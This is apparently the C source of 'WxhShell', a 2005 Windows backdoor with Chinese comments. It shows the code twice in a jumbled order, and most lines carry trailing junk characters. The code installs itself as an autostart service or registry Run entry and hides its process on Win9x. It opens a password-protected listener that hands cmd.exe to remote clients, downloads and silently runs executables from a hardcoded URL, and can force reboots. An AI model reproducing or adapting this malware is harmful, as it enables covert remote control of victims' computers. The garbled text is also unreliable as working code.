    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jyFXAs2  
    else { /qObXI  
    closesocket(wsh); 1jkMje  
    ExitThread(0); 0PT\/imgN  
    } (^ ;Fyf/  
    break; cUK9EOPe  
    }  "?(N  
  // 获取shell :vRUb>z  
  case 's': { mIm.+U`a2  
    CmdShell(wsh); RqE|h6/  
    closesocket(wsh); .E&-gXJ4  
    ExitThread(0); ?h7(,39^>  
    break; Nlk'  
  } < (<IRCR  
  // 退出 0MX``/Z72  
  case 'x': { XfYhLE  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); fLR\@f  
    CloseIt(wsh); iz5WWn^  
    break; tC4 7P[b  
    } a@}A;y'd  
  // 离开 %VmHw~xyF:  
  case 'q': { 0 V3`rK  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); F2Nb]f  
    closesocket(wsh); _7Rp.)[&  
    WSACleanup(); t182&gpd`  
    exit(1); n2(@uT&>  
    break; KL4vr|i,  
        } t8\XO j  
  } U6 $)e.FO  
  } _5JwJcQ  
9>1Gj-S2:  
  // 提示信息 5*IfI+}  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <yz&> +9,  
} +c-?1j  
  } B?p18u$i#l  
M73d^z  
  return; x9s1AzM{  
} YMfjTt@Q  
\g<=n&S?  
// shell模块句柄 NB[(O#  
int CmdShell(SOCKET sock) L-QzC<[F/  
{ ;!H|0sv  
STARTUPINFO si; b$k|D)_|  
ZeroMemory(&si,sizeof(si)); Cp[ NVmN  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; AV:P/M^B  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5\\a49k.p  
PROCESS_INFORMATION ProcessInfo; $2lPUQZ<5  
char cmdline[]="cmd"; U f <hzP  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {B,r  
  return 0; l-G] jXu  
} #I] ^Wo  
-`<KjS  
// 自身启动模式 FEzjP$  
int StartFromService(void) ubZcpqm?Q  
{ /2#1Oi)o  
typedef struct Ihn+_H u  
{ hA!kkNqV  
  DWORD ExitStatus; /swNhDQ"o  
  DWORD PebBaseAddress; di5>aAJ)D  
  DWORD AffinityMask; N6wCCXd  
  DWORD BasePriority; ]> 36{k]&  
  ULONG UniqueProcessId; ic]b"ItD  
  ULONG InheritedFromUniqueProcessId; mpysnKH  
}   PROCESS_BASIC_INFORMATION; oo{3-+ ?  
ne (zGJd  
PROCNTQSIP NtQueryInformationProcess; TE!+G\@  
PGaYYc3X  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; g7r_jj%ow  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1Zj NRg=  
Q>[Xm)jr:  
  HANDLE             hProcess; y+g01z  
  PROCESS_BASIC_INFORMATION pbi; gvl3NQQ%t  
H@%Y"iIUP  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); do>,ELS+m  
  if(NULL == hInst ) return 0; L/sMAB  
QqU>V0y"w(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &)y$XsSMW  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4UV<Q*B\F  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); )%T< Mw2u  
DLP G  
  if (!NtQueryInformationProcess) return 0; ZI>')T<@j"  
,2C{X+t  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); gvLzE&V}  
  if(!hProcess) return 0; zIE{U  
TC$)::C1  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; U1!#TD)@  
!CO1I-yL  
  CloseHandle(hProcess); HX&G  k  
~R!M.gY[rK  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); y +2  
if(hProcess==NULL) return 0; ]#*S.  r]  
2\/,X CQV  
HMODULE hMod;  5gZ6H/.  
char procName[255]; ]:X# w0UR  
unsigned long cbNeeded; <*'%Xgm  
$wBF'|eU  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); znxP.=GB   
]dj W^C]94  
  CloseHandle(hProcess); {BS}9jZx  
o&Vti"fpC  
if(strstr(procName,"services")) return 1; // 以服务启动 &?)? w-$p  
~#^suy?  
  return 0; // 注册表启动 Or9"T]z  
} XVwJr""+  
;p_@%*JAx  
// 主模块 QO&{Jx.^[  
int StartWxhshell(LPSTR lpCmdLine) _hz}I>G@B  
{ V ~%C me  
  SOCKET wsl; a#L:L8T;j  
BOOL val=TRUE; 5zf bI  
  int port=0; 4 [K"e{W3  
  struct sockaddr_in door; o,D7$WzL  
<jwQ&fm)/R  
  if(wscfg.ws_autoins) Install(); "7X[@xX@  
{k"t`uo_  
port=atoi(lpCmdLine); ah9P C7[  
uihU)]+@t/  
if(port<=0) port=wscfg.ws_port; uZ/XI {/  
g;n6hXq4  
  WSADATA data; kQt#^pO)  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ><Awk~KR  
r|,_qNrw  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   dvX[,*wz  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); I)YUGA5  
  door.sin_family = AF_INET; j'QPJ(`~1l  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); K}j["p<!  
  door.sin_port = htons(port); K275{ydN  
%p t^?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { w28&qNha  
closesocket(wsl); mY 1Gm|  
return 1; ]o<&Q52|  
} |T)  $E  
FO S5?%J  
  if(listen(wsl,2) == INVALID_SOCKET) { MX )mm^A  
closesocket(wsl); ;b6h/*;'  
return 1; ALY3en9,  
} 4A {6)<e  
  Wxhshell(wsl); q4y sTm  
  WSACleanup(); 7]`l"=/z  
JV`"kk/  
return 0; uG){0%nX  
pg9 feIW1  
} s,;7m  
\0,8?S  
// 以NT服务方式启动 aT_%G&.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) w}WfQj  
{ =v:}{~M^$  
DWORD   status = 0; 2K VX  
  DWORD   specificError = 0xfffffff; o^8Z cN>  
vBLs88  
  serviceStatus.dwServiceType     = SERVICE_WIN32; /Y#Q<=X  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; S\dG>F>S  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ya'Ma<4  
  serviceStatus.dwWin32ExitCode     = 0; B"Hz)-MW  
  serviceStatus.dwServiceSpecificExitCode = 0; b'1m 9T780  
  serviceStatus.dwCheckPoint       = 0; %+ : $uk[  
  serviceStatus.dwWaitHint       = 0; >*]dB|2  
yE_T#FN  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); UY}EW`$#m  
  if (hServiceStatusHandle==0) return; Q u_=K_W  
G vTA/zA  
status = GetLastError(); qF3s&WI  
  if (status!=NO_ERROR) K0'= O  
{ ^9zlxs`<d  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ZuNUha&a  
    serviceStatus.dwCheckPoint       = 0; 9  M90X8  
    serviceStatus.dwWaitHint       = 0; [U@ ;EeS  
    serviceStatus.dwWin32ExitCode     = status; -2qI2Z  
    serviceStatus.dwServiceSpecificExitCode = specificError; B".3NQ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9 K~X+N\  
    return; &ev#C%Nu  
  } CsX@u#  
^OrO&w|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; l[Ko>  
  serviceStatus.dwCheckPoint       = 0; u$rSM0CJ  
  serviceStatus.dwWaitHint       = 0; +#Ga} e CM  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); KSve_CBOh  
} 6ee1^>  
rKkFflOVO  
// 处理NT服务事件,比如:启动、停止 Xk?Y  
VOID WINAPI NTServiceHandler(DWORD fdwControl) XYze*8xUb  
{ j*_>/gi  
switch(fdwControl) q"-+`;^7(-  
{ '>:%n  
case SERVICE_CONTROL_STOP: k[a5D/b  
  serviceStatus.dwWin32ExitCode = 0; _T(77KLn;  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; b>@fHmpwD  
  serviceStatus.dwCheckPoint   = 0; ZfU &X{  
  serviceStatus.dwWaitHint     = 0; _Rk>yJD7s  
  { vs2xx`Y<Lq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,?c=v`e  
  } 4&<zkAMR  
  return; *],= !  
case SERVICE_CONTROL_PAUSE: z0 J:"M  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; FvyC$vip  
  break; P/[}$(&:  
case SERVICE_CONTROL_CONTINUE: xA>3]<O  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ;%mdSaf  
  break; }*|aVBvU  
case SERVICE_CONTROL_INTERROGATE: r"W<1H u  
  break; )&[Zw{6P  
}; wpf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `,s0^?_  
} Mi<}q@]e  
V;(Rg=5  
// 标准应用程序主函数 |]'gd)%S\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9Idgib&  
{ 5|g#>sx>`q  
hY/i)T{  
// 获取操作系统版本 !|-:"hE1h  
OsIsNt=GetOsVer(); l'RuzBQr  
GetModuleFileName(NULL,ExeFile,MAX_PATH); kf1 (  
^:2>I$  
  // 从命令行安装 , L5.KwB  
  if(strpbrk(lpCmdLine,"iI")) Install(); ]D@y""{--s  
D6:"k 2  
  // 下载执行文件 ]ZS/9 $  
if(wscfg.ws_downexe) { uWkuw5;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) "9OOyeKu%  
  WinExec(wscfg.ws_filenam,SW_HIDE); v03 ^  
} ar:qCq$\  
=`t%p1   
if(!OsIsNt) { \ocC'FmE  
// 如果时win9x,隐藏进程并且设置为注册表启动 U?8X]  
HideProc(); r?R!/`f  
StartWxhshell(lpCmdLine); n:[LsbTk  
} rp!>rM] s  
else V&R_A~<T  
  if(StartFromService()) fvM|Jb  
  // 以服务方式启动 vqRW^>~-B  
  StartServiceCtrlDispatcher(DispatchTable); gx=2]~O1(  
else NBO&VYs|  
  // 普通方式启动 eXCH*vZY  
  StartWxhshell(lpCmdLine); bdyIt)tK+  
@\Yu?_a  
return 0; V3[>^ZCA  
} Jm3iYR+,  
y2@8?  
Ombvp;  
{3G2-$yb  
=========================================== }O8#4-E_Ji  
^w~Utx4  
;mXw4_{  
B'KZ >jO  
R|K#nh  
NplkhgSj  
" xmwH~UWp  
IfpFsq:  
#include <stdio.h> K Z Q `  
#include <string.h> ?OdJ t  
#include <windows.h> "kkZK=}Nv  
#include <winsock2.h> qW t 9Tr  
#include <winsvc.h> BZRC0^-C@  
#include <urlmon.h> /;xmM 2B'  
T^.W'  
#pragma comment (lib, "Ws2_32.lib") `YPNVm<3)  
#pragma comment (lib, "urlmon.lib") =xPBolxm5U  
Y?V>%eBu  
#define MAX_USER   100 // 最大客户端连接数 ]F1ZeAh5  
#define BUF_SOCK   200 // sock buffer >@St Kj  
#define KEY_BUFF   255 // 输入 buffer QVQ?a&HYS  
|d=MX>i|G  
#define REBOOT     0   // 重启 APY*SeI V  
#define SHUTDOWN   1   // 关机 ~ H $q  
Uv(Uj3D  
#define DEF_PORT   5000 // 监听端口  ^6Y:9+  
'>"-e'1m(  
#define REG_LEN     16   // 注册表键长度 5:~BGK&{Y  
#define SVC_LEN     80   // NT服务名长度 roE*8:Y  
AE&IN.-  
// 从dll定义API }|4dEao\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); AV^Sla7|_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^n8r mh_%  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); NRZ>03w  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 3qBZzM O*  
@M]7',2"  
// wxhshell配置信息 yf7$m_$C'  
struct WSCFG { MYF6tZ*  
  int ws_port;         // 监听端口 nh+f,HtSt  
  char ws_passstr[REG_LEN]; // 口令 . [5{  
  int ws_autoins;       // 安装标记, 1=yes 0=no -<.b3Mh  
  char ws_regname[REG_LEN]; // 注册表键名 mqb6MnK -  
  char ws_svcname[REG_LEN]; // 服务名 e$y VV#  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ~$Pz`amT|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 FT.;}!"l  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Oj^qh+r  
int ws_downexe;       // 下载执行标记, 1=yes 0=no J,]U"+;H  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" l]v>PIh~N  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Rjz~n38.  
:Vx5%4J  
}; -A17tC20J1  
\t 04-  
// default Wxhshell configuration H}B%OFI\+  
struct WSCFG wscfg={DEF_PORT, [_?dpaTt  
    "xuhuanlingzhe", q/HwcX+[b  
    1, #jNN?,ZK  
    "Wxhshell", 3erGTa[|q  
    "Wxhshell", 5cE?>  
            "WxhShell Service", U#U nM,3%  
    "Wrsky Windows CmdShell Service", 298@&_  
    "Please Input Your Password: ", uGMmS9v$ J  
  1, BV01&.<|  
  "http://www.wrsky.com/wxhshell.exe", J)leRR&  
  "Wxhshell.exe" )Y}8)/Pud  
    }; GV T[)jS  
PK<+tIm\  
// 消息定义模块 p!xCNZ(m  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \,5OPSB  
char *msg_ws_prompt="\n\r? for help\n\r#>"; { |[n>k   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; aZ{]t:]  
char *msg_ws_ext="\n\rExit."; #0;ULZ99aH  
char *msg_ws_end="\n\rQuit."; yxz"9PE/P  
char *msg_ws_boot="\n\rReboot..."; f]Q`8nU  
char *msg_ws_poff="\n\rShutdown..."; sHQ82uX  
char *msg_ws_down="\n\rSave to "; q:/<^|  
wio}<Y6Xz  
char *msg_ws_err="\n\rErr!"; _]# ^2S  
char *msg_ws_ok="\n\rOK!"; zs~v6y@  
k2cC:5Xf3  
char ExeFile[MAX_PATH]; (+ibT;!]  
int nUser = 0; H~Fb=.h]U  
HANDLE handles[MAX_USER]; kKP<K+hH  
int OsIsNt; 5x:dhkW  
@fSBW+  
SERVICE_STATUS       serviceStatus; =1'vXPv`  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; fNnemn@>  
@XL5$k[Y  
// 函数声明 ij<6gv~ n"  
int Install(void); c;dMXv   
int Uninstall(void); e=m=IVY #W  
int DownloadFile(char *sURL, SOCKET wsh); A%$ZB9#zQ  
int Boot(int flag); l mRd l>  
void HideProc(void); wjeuZNYf  
int GetOsVer(void); OW|5IEC  
int Wxhshell(SOCKET wsl); ^E^Cj;od@  
void TalkWithClient(void *cs); - .EH?{i  
int CmdShell(SOCKET sock);  nW*D  
int StartFromService(void); E'O[E=  
int StartWxhshell(LPSTR lpCmdLine); zZax![Z  
t+?m<h6w;l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 7A mnxFC  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); F$k^px  
?'$Yj>R6  
// 数据结构和表定义 @ysc?4% q  
SERVICE_TABLE_ENTRY DispatchTable[] = /:OSql5K*<  
{ Z.D O 2=+=  
{wscfg.ws_svcname, NTServiceMain}, TppuEC>  
{NULL, NULL} fT.GYvt`  
}; ]'iOV-2^'  
exHg<18WSe  
// 自我安装 y]e[fZ`L  
int Install(void) R ]! [h  
{ -)p S\$GC  
  char svExeFile[MAX_PATH]; rV0X*[]J>  
  HKEY key; t/57LjV  
  strcpy(svExeFile,ExeFile); }pMd/|A,  
9cwy;au  
// 如果是win9x系统,修改注册表设为自启动 Z=&cBv4Fs  
if(!OsIsNt) { F?B`rw@xr  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Qmg2lP.)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^f%hhpV@  
  RegCloseKey(key); Sb& $xWL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y9xvGr[l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W#.+C6/  
  RegCloseKey(key); 4,]z  
  return 0; -E(0}\  
    } Glw_<ag[  
  } qTuQ]*[-  
} miTySY6 ^  
else {  e#t7  
<n-}z[09  
// 如果是NT以上系统,安装为系统服务 'C2X9/!,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); # zbAA<f  
if (schSCManager!=0) Ap<kK0#h  
{ ZZu{c t9  
  SC_HANDLE schService = CreateService :+q d>;yf#  
  ( 7H l>UX,|  
  schSCManager, -$2a@K,i  
  wscfg.ws_svcname, ni gn" r  
  wscfg.ws_svcdisp, 45aUz@  
  SERVICE_ALL_ACCESS, \QvoL  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , wJ%;\06  
  SERVICE_AUTO_START, {)?:d6"  
  SERVICE_ERROR_NORMAL, 9k.5'#  
  svExeFile, };Oyv7D+b  
  NULL, f)x(sk  
  NULL, A 6IrA/b  
  NULL, bQlvb  
  NULL, g]Jt (aYK  
  NULL w5+H9R6  
  ); + ;LO|!  
  if (schService!=0) lPyY  
  { J_S8=`f%  
  CloseServiceHandle(schService); $&~moAl  
  CloseServiceHandle(schSCManager); 2t,N9@u=UN  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); J{!U;r!6  
  strcat(svExeFile,wscfg.ws_svcname); |Fi{]9(G2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6|G&d>G$_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <%iRa$i5  
  RegCloseKey(key); xk*&zAt  
  return 0; srCpgs]h  
    } 77b^d9! ~  
  } ]T:a&DHC  
  CloseServiceHandle(schSCManager); R0g^0K.  
} #=g1V?D  
} 1p5n}|  
1)o6jGQ  
return 1; >'1 h  
} }] p9  
Fc6o6GyL|o  
// 自我卸载 S6CI+W  
int Uninstall(void) ,6EhtNDu  
{ teKx^ 'c'  
  HKEY key; *671MJ 9  
@=sM')f&  
if(!OsIsNt) { (hJ&`Tt  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dM=45$\q  
  RegDeleteValue(key,wscfg.ws_regname); J6I:UML  
  RegCloseKey(key); [} zzG@g,J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kz\Ss|jl  
  RegDeleteValue(key,wscfg.ws_regname); \47djmG-  
  RegCloseKey(key); lHUd<kEC  
  return 0; lz7?Z  
  } 3Cw}y55_y  
} .0Kc|b=w  
} Uc;~q-??#  
else { K0YQ b&*k  
m{;j r<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); p9>1a j2a  
if (schSCManager!=0) k5%W8dI  
{ >t_h/:JZ)  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "2~L  
  if (schService!=0) _70Z1_ ;  
  { @V&c=8) 8  
  if(DeleteService(schService)!=0) { g\% Z+Dc  
  CloseServiceHandle(schService); bFIM07  
  CloseServiceHandle(schSCManager); 9 {wRqY  
  return 0; Fq$r>tmV  
  } GEK7q<  
  CloseServiceHandle(schService); z"97AXu  
  } ZZn$N-  
  CloseServiceHandle(schSCManager); r3B}d*v  
} ]9N&I/-  
} Mbp7%^E"A  
N[r Ab*iT  
return 1; Y}]-o9Rl  
} ]h?q1    
eIJ>bM  
// 从指定url下载文件 Bd]k]v+  
int DownloadFile(char *sURL, SOCKET wsh) /%mT2  
{ ;1HzY\d%<  
  HRESULT hr; q6,z 1A"  
char seps[]= "/"; |h?2~D!+d  
char *token; +CM>]Ze  
char *file; 4*ZY#7h  
char myURL[MAX_PATH]; .ht-*  
char myFILE[MAX_PATH]; P)l_ :;&  
f"*k>=ETI  
strcpy(myURL,sURL); =C2KHNc  
  token=strtok(myURL,seps); vc :%  
  while(token!=NULL) /&c2O X|Z  
  { g#MLA5%=u  
    file=token; >J5C.hx  
  token=strtok(NULL,seps); T]JmnCX>:  
  } \h"U+Bv7  
QC?~$>h!?  
GetCurrentDirectory(MAX_PATH,myFILE); w_f.\\1r  
strcat(myFILE, "\\"); ]rv4O@||w  
strcat(myFILE, file); %vv`Vx2  
  send(wsh,myFILE,strlen(myFILE),0); Sx[ eX,q  
send(wsh,"...",3,0); P6&%`$  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <.mH-Y5i  
  if(hr==S_OK) 9Ta0Li  
return 0; dU#-;/}o  
else CLTkyS)C  
return 1; _jc_(;KPF  
O%3Hp.|!  
} <PVwf`W.  
| UlG@Mn  
// 系统电源模块 o@BV&|  
int Boot(int flag) !> =ybRe  
{ 64mg:ed&  
  HANDLE hToken; 8IA1@0n&  
  TOKEN_PRIVILEGES tkp; /)T~(o|i  
Cs_&BSs  
  if(OsIsNt) { }jUsv8`}8R  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^?$,sS ;Q  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); nTv}/M&  
    tkp.PrivilegeCount = 1; vQ L$.A3>  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; PcBD;[cn  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 5f{P% x(  
if(flag==REBOOT) { :\vs kk),  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |{&M#qXe  
  return 0; )S 7+y6f&*  
} r\d(*q3B  
else { 43pe6 ^.  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |mP};&b  
  return 0; ^$5 0[  
} 5Yhcnwdm!  
  } BZ =I/L  
  else { \"1>NJn&k)  
if(flag==REBOOT) { Z6rhInIY  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) MoE&)~0u&  
  return 0; tEL9hZzI  
} veHe   
else { w`;HwK$ ,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) fz\Q>u'T  
  return 0; UXlZI'|He  
} *I)J%#  
} uN:KivVe  
HeO:=OE~>  
return 1;  kDE-GX"Y  
} r|=1{N x  
bx(@ fl:m  
// win9x进程隐藏模块 8[KKi~A  
void HideProc(void) 58Ce>*~  
{ @uH!n~QV  
y-db CYMc  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {$,\Qg  
  if ( hKernel != NULL ) t|$ jgM  
  { $8)XN-%(  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); P&uSh?[ ^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )-26(aNGT  
    FreeLibrary(hKernel); 7IkPi?&{  
  } 2}A)5P*K  
!JDr58  
return; ;U|(rM;  
} $uZmIu9Bi+  
`R$i|,9 )  
// 获取操作系统版本 Vw1>d+<~-)  
int GetOsVer(void) }! EVf  
{ '< U&8?S  
  OSVERSIONINFO winfo; -BH/)$-$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); O|V0WiY<  
  GetVersionEx(&winfo); !,$#i  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7ocUFY0"  
  return 1; ]*#i_dho7  
  else >!t3~q1Cn  
  return 0; _6nAxm&x`%  
} u<Kowt<ci  
UPI- j#yc  
// 客户端句柄模块 "5&"Ij,/  
int Wxhshell(SOCKET wsl) ^o{{kju  
{ /@F'f@;  
  SOCKET wsh; x%l(0K  
  struct sockaddr_in client; <NMJkl-r8r  
  DWORD myID; v-tI`Qpb  
H-PVV&r   
  while(nUser<MAX_USER) n@8Y6+7i  
{ 0&UG=q  
  int nSize=sizeof(client); PjeI&@  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |n/;x$Cb  
  if(wsh==INVALID_SOCKET) return 1; E{<#h9=>  
dS ojq6M  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2%sZaM  
if(handles[nUser]==0) (dq_ ,LI  
  closesocket(wsh); =/Gd<qz3  
else . vb##D  
  nUser++; -N*[f9EJB  
  } mol,iM*l  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); zr /v.$<  
Y"H`+UV  
  return 0; 1z PS#K/3  
} 8>9Mh!t}(I  
w.q`E@ T*  
// 关闭 socket hzsQK _;S  
void CloseIt(SOCKET wsh) 2iG+Ek-?"  
{ )X0=z1$  
closesocket(wsh); k( :Bl  
nUser--; :C*}Yg  
ExitThread(0); ]E-/}Ysz  
} ^OKm (  
?6CLUu|7n  
// 客户端请求句柄 w7Yu} JY^  
void TalkWithClient(void *cs) KL'1)G"OH  
{ o8R_ Ojh  
N4vcd=uG#  
  SOCKET wsh=(SOCKET)cs; EB}B75)x  
  char pwd[SVC_LEN]; a;xeHbE  
  char cmd[KEY_BUFF]; SZF 8InyF  
char chr[1]; ;k!.ey $S  
int i,j; Kk8wlC  
8"j$=T6;W  
  while (nUser < MAX_USER) { c["1t1G  
6Qkjr</  
if(wscfg.ws_passstr) { ,`bW (V  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pG#tMec  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _ LHbP=B  
  //ZeroMemory(pwd,KEY_BUFF); ku5|cF*%  
      i=0; Cw,a)XB  
  while(i<SVC_LEN) { /x??J4r0  
I _KHQ&Z*  
  // 设置超时 \6|y~5Hw{r  
  fd_set FdRead; 1eD#-tzV  
  struct timeval TimeOut; pTCD1)  
  FD_ZERO(&FdRead); K=N&kda   
  FD_SET(wsh,&FdRead); s9ix&m  
  TimeOut.tv_sec=8; nK;d\DO  
  TimeOut.tv_usec=0; y|| n9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9i\RdJv.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); G`!,>n 3  
,/?J!W@m  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3N_KNW  
  pwd=chr[0]; ';3>rv_  
  if(chr[0]==0xd || chr[0]==0xa) { KR ( apO  
  pwd=0; PEI$1,z  
  break; {N2GRF~c-y  
  } @@D/&}#F  
  i++; 9 Zos;  
    } ww{k_'RRJ  
z:-{Y2F  
  // 如果是非法用户,关闭 socket GJB+] b-  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); u&l;\w  
} CH4Nz'X2  
6>WkisxG  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); jWUrw  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9K& $8aD  
:zU4K=kR  
while(1) { ~!({U nt+'  
8WytvwB}  
  ZeroMemory(cmd,KEY_BUFF); 2U[/"JL  
>)WE3PT/O"  
      // 自动支持客户端 telnet标准   ~T@E")uR  
  j=0; Yb5U^OjyJ  
  while(j<KEY_BUFF) { e8`d<U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fz|*Plv  
  cmd[j]=chr[0]; D9g*+KM&  
  if(chr[0]==0xa || chr[0]==0xd) { `:iMGq ZN  
  cmd[j]=0; (csk   
  break; U<=TAWZ@  
  } gveGBi  
  j++; |B (,53  
    } aG7Lm2{c"  
OAkqPG&w  
  // 下载文件 GG#-x$jK  
  if(strstr(cmd,"http://")) { vE[d& b[  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); vu.ug$T  
  if(DownloadFile(cmd,wsh)) Aa9l-:R  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); `lY-/Ty  
  else r.?dT |A  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a0ms9%Y;Q[  
  } D!* SA  
  else { dU-:#QV6  
QHv]7&^rlj  
